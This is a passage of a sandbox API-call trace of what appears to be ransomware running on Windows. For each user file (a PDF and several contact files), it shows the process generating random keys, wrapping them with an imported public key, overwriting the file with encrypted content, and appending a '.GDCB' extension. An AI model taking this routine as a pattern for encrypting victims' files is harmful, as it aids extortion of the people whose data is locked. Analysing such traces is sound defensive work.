dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0136.361] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0136.361] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0136.361] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0136.361] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0136.361] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0136.362] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0136.362] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0136.362] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0136.362] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0136.362] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0136.364] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x309588) returned 1 [0136.364] CryptGetKeyParam (in: hKey=0x309588, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0136.364] CryptEncrypt (in: hKey=0x309588, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0136.364] GetLastError () returned 0x0 [0136.364] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0136.364] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecfd0) returned 1 [0136.366] CryptImportKey (in: hProv=0x2ecfd0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x308bc8) returned 1 [0136.366] CryptGetKeyParam (in: hKey=0x308bc8, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0136.366] CryptEncrypt (in: hKey=0x308bc8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0136.366] GetLastError () returned 0x0 [0136.366] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0136.366] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\z5f8F.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\z5f8f.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0136.366] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0136.366] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0136.367] ReadFile (in: hFile=0x4ec, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f248*=0xba01, lpOverlapped=0x0) returned 1 [0136.376] VirtualAlloc (lpAddress=0x0, dwSize=0xba10, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0136.377] VirtualAlloc (lpAddress=0x0, dwSize=0xba10, flAllocationType=0x3000, flProtect=0x4) returned 0x29c0000 [0136.378] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.379] SetFilePointer (in: hFile=0x4ec, lDistanceToMove=-47617, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0136.379] WriteFile (in: hFile=0x4ec, lpBuffer=0x29c0000*, nNumberOfBytesToWrite=0xba10, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x29c0000*, lpNumberOfBytesWritten=0x285f240*=0xba10, lpOverlapped=0x0) returned 1 [0136.379] VirtualFree (lpAddress=0x29c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.379] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.382] WriteFile (in: hFile=0x4ec, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285f240*=0x100, lpOverlapped=0x0) returned 1 [0136.382] WriteFile (in: hFile=0x4ec, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285f240*=0x100, lpOverlapped=0x0) returned 1 [0136.382] WriteFile (in: hFile=0x4ec, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285f240*=0x10, lpOverlapped=0x0) returned 1 [0136.382] CloseHandle (hObject=0x4ec) returned 1 [0136.383] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.383] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.383] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.384] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\z5f8F.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\z5f8f.pdf"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\z5f8F.pdf.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\z5f8f.pdf.gdcb")) returned 1 [0136.386] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0136.387] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0136.387] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0136.387] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0136.387] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0136.387] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0136.387] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0136.387] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0136.389] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecc18) returned 1 [0136.389] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0136.389] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0136.389] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f474 | out: pbBuffer=0x285f474) returned 1 [0136.389] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0136.389] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecc18) returned 1 [0136.390] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0136.390] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0136.390] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f440 | out: pbBuffer=0x285f440) returned 1 [0136.390] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0136.390] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecfd0) returned 1 [0136.392] CryptImportKey (in: hProv=0x2ecfd0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x308c08) returned 1 [0136.392] CryptGetKeyParam (in: hKey=0x308c08, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0136.392] CryptEncrypt (in: hKey=0x308c08, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f48c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f48c*=0x100) returned 1 [0136.393] GetLastError () returned 0x0 [0136.393] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0136.393] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecc18) returned 1 [0136.394] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x308e48) returned 1 [0136.394] CryptGetKeyParam (in: hKey=0x308e48, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0136.394] CryptEncrypt (in: hKey=0x308e48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f490*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f490*=0x100) returned 1 [0136.395] GetLastError () returned 0x0 [0136.395] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0136.395] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\Aclviho ASldjfl.contact" (normalized: "c:\\users\\ciihmnxmn6ps\\contacts\\aclviho asldjfl.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e8 [0136.395] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0136.395] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0136.395] ReadFile (in: hFile=0x4e8, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f4d0, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f4d0*=0x49a, lpOverlapped=0x0) returned 1 [0136.404] VirtualAlloc (lpAddress=0x0, dwSize=0x4a0, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0136.405] VirtualAlloc (lpAddress=0x0, dwSize=0x4a0, flAllocationType=0x3000, flProtect=0x4) returned 0x29c0000 [0136.405] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.405] SetFilePointer (in: hFile=0x4e8, lDistanceToMove=-1178, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0136.405] WriteFile (in: hFile=0x4e8, lpBuffer=0x29c0000*, nNumberOfBytesToWrite=0x4a0, lpNumberOfBytesWritten=0x285f4c8, lpOverlapped=0x0 | out: lpBuffer=0x29c0000*, lpNumberOfBytesWritten=0x285f4c8*=0x4a0, lpOverlapped=0x0) returned 1 [0136.405] VirtualFree (lpAddress=0x29c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.405] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.408] WriteFile (in: hFile=0x4e8, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285f4c8, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285f4c8*=0x100, lpOverlapped=0x0) returned 1 [0136.408] WriteFile (in: hFile=0x4e8, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285f4c8, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285f4c8*=0x100, lpOverlapped=0x0) returned 1 [0136.408] WriteFile (in: hFile=0x4e8, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285f4c8, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285f4c8*=0x10, lpOverlapped=0x0) returned 1 [0136.408] CloseHandle (hObject=0x4e8) returned 1 [0136.409] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.409] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.409] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.409] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\Aclviho ASldjfl.contact" (normalized: "c:\\users\\ciihmnxmn6ps\\contacts\\aclviho asldjfl.contact"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\Aclviho ASldjfl.contact.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\contacts\\aclviho asldjfl.contact.gdcb")) returned 1 [0136.410] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecc18) returned 1 [0136.411] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0136.411] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0136.411] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f474 | out: pbBuffer=0x285f474) returned 1 [0136.411] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0136.411] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ed0e0) returned 1 [0136.411] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0136.412] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0136.412] CryptGenRandom (in: hProv=0x2ed0e0, dwLen=0x20, pbBuffer=0x285f440 | out: pbBuffer=0x285f440) returned 1 [0136.412] CryptReleaseContext (hProv=0x2ed0e0, dwFlags=0x0) returned 1 [0136.412] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecc18) returned 1 [0136.414] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x308c88) returned 1 [0136.414] CryptGetKeyParam (in: hKey=0x308c88, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0136.414] CryptEncrypt (in: hKey=0x308c88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f48c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f48c*=0x100) returned 1 [0136.414] GetLastError () returned 0x0 [0136.414] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0136.414] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ed300) returned 1 [0136.416] CryptImportKey (in: hProv=0x2ed300, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x308d08) returned 1 [0136.416] CryptGetKeyParam (in: hKey=0x308d08, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0136.416] CryptEncrypt (in: hKey=0x308d08, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f490*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f490*=0x100) returned 1 [0136.416] GetLastError () returned 0x0 [0136.416] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0136.416] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\asdlfk poopvy.contact" (normalized: "c:\\users\\ciihmnxmn6ps\\contacts\\asdlfk poopvy.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e8 [0136.416] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0136.416] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0136.417] ReadFile (in: hFile=0x4e8, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f4d0, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f4d0*=0x493, lpOverlapped=0x0) returned 1 [0136.426] VirtualAlloc (lpAddress=0x0, dwSize=0x4a0, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0136.426] VirtualAlloc (lpAddress=0x0, dwSize=0x4a0, flAllocationType=0x3000, flProtect=0x4) returned 0x29c0000 [0136.426] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.426] SetFilePointer (in: hFile=0x4e8, lDistanceToMove=-1171, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0136.426] WriteFile (in: hFile=0x4e8, lpBuffer=0x29c0000*, nNumberOfBytesToWrite=0x4a0, lpNumberOfBytesWritten=0x285f4c8, lpOverlapped=0x0 | out: lpBuffer=0x29c0000*, lpNumberOfBytesWritten=0x285f4c8*=0x4a0, lpOverlapped=0x0) returned 1 [0136.426] VirtualFree (lpAddress=0x29c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.426] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.429] WriteFile (in: hFile=0x4e8, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285f4c8, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285f4c8*=0x100, lpOverlapped=0x0) returned 1 [0136.429] WriteFile (in: hFile=0x4e8, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285f4c8, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285f4c8*=0x100, lpOverlapped=0x0) returned 1 [0136.429] WriteFile (in: hFile=0x4e8, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285f4c8, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285f4c8*=0x10, lpOverlapped=0x0) returned 1 [0136.429] CloseHandle (hObject=0x4e8) returned 1 [0136.430] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.430] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.430] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.430] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\asdlfk poopvy.contact" (normalized: "c:\\users\\ciihmnxmn6ps\\contacts\\asdlfk poopvy.contact"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\asdlfk poopvy.contact.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\contacts\\asdlfk poopvy.contact.gdcb")) returned 1 [0136.431] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ed0e0) returned 1 [0136.432] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0136.432] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0136.432] CryptGenRandom (in: hProv=0x2ed0e0, dwLen=0x10, pbBuffer=0x285f474 | out: pbBuffer=0x285f474) returned 1 [0136.432] CryptReleaseContext (hProv=0x2ed0e0, dwFlags=0x0) returned 1 [0136.432] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecc18) returned 1 [0136.433] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0136.433] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0136.433] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f440 | out: pbBuffer=0x285f440) returned 1 [0136.433] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0136.433] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ed300) returned 1 [0136.435] CryptImportKey (in: hProv=0x2ed300, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x308e08) returned 1 [0136.435] CryptGetKeyParam (in: hKey=0x308e08, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0136.435] CryptEncrypt (in: hKey=0x308e08, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f48c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f48c*=0x100) returned 1 [0136.436] GetLastError () returned 0x0 [0136.436] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0136.436] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecc18) returned 1 [0136.437] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x308808) returned 1 [0136.437] CryptGetKeyParam (in: hKey=0x308808, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0136.437] CryptEncrypt (in: hKey=0x308808, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f490*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f490*=0x100) returned 1 [0136.438] GetLastError () returned 0x0 [0136.438] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0136.438] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\chucu jadnvk.contact" (normalized: "c:\\users\\ciihmnxmn6ps\\contacts\\chucu jadnvk.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e8 [0136.438] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0136.438] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0136.438] ReadFile (in: hFile=0x4e8, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f4d0, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f4d0*=0x499, lpOverlapped=0x0) returned 1 [0136.447] VirtualAlloc (lpAddress=0x0, dwSize=0x4a0, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0136.448] VirtualAlloc (lpAddress=0x0, dwSize=0x4a0, flAllocationType=0x3000, flProtect=0x4) returned 0x29c0000 [0136.448] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.448] SetFilePointer (in: hFile=0x4e8, lDistanceToMove=-1177, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0136.448] WriteFile (in: hFile=0x4e8, lpBuffer=0x29c0000*, nNumberOfBytesToWrite=0x4a0, lpNumberOfBytesWritten=0x285f4c8, lpOverlapped=0x0 | out: lpBuffer=0x29c0000*, lpNumberOfBytesWritten=0x285f4c8*=0x4a0, lpOverlapped=0x0) returned 1 [0136.448] VirtualFree (lpAddress=0x29c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.448] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.451] WriteFile (in: hFile=0x4e8, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285f4c8, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285f4c8*=0x100, lpOverlapped=0x0) returned 1 [0136.451] WriteFile (in: hFile=0x4e8, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285f4c8, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285f4c8*=0x100, lpOverlapped=0x0) returned 1 [0136.451] WriteFile (in: hFile=0x4e8, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285f4c8, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285f4c8*=0x10, lpOverlapped=0x0) returned 1 [0136.451] CloseHandle (hObject=0x4e8) returned 1 [0136.452] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.452] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.452] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.452] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\chucu jadnvk.contact" (normalized: "c:\\users\\ciihmnxmn6ps\\contacts\\chucu jadnvk.contact"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\chucu jadnvk.contact.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\contacts\\chucu jadnvk.contact.gdcb")) returned 1 [0136.454] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecc18) returned 1 [0136.454] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0136.454] GetProcAddress (hModule=0x74c90000, 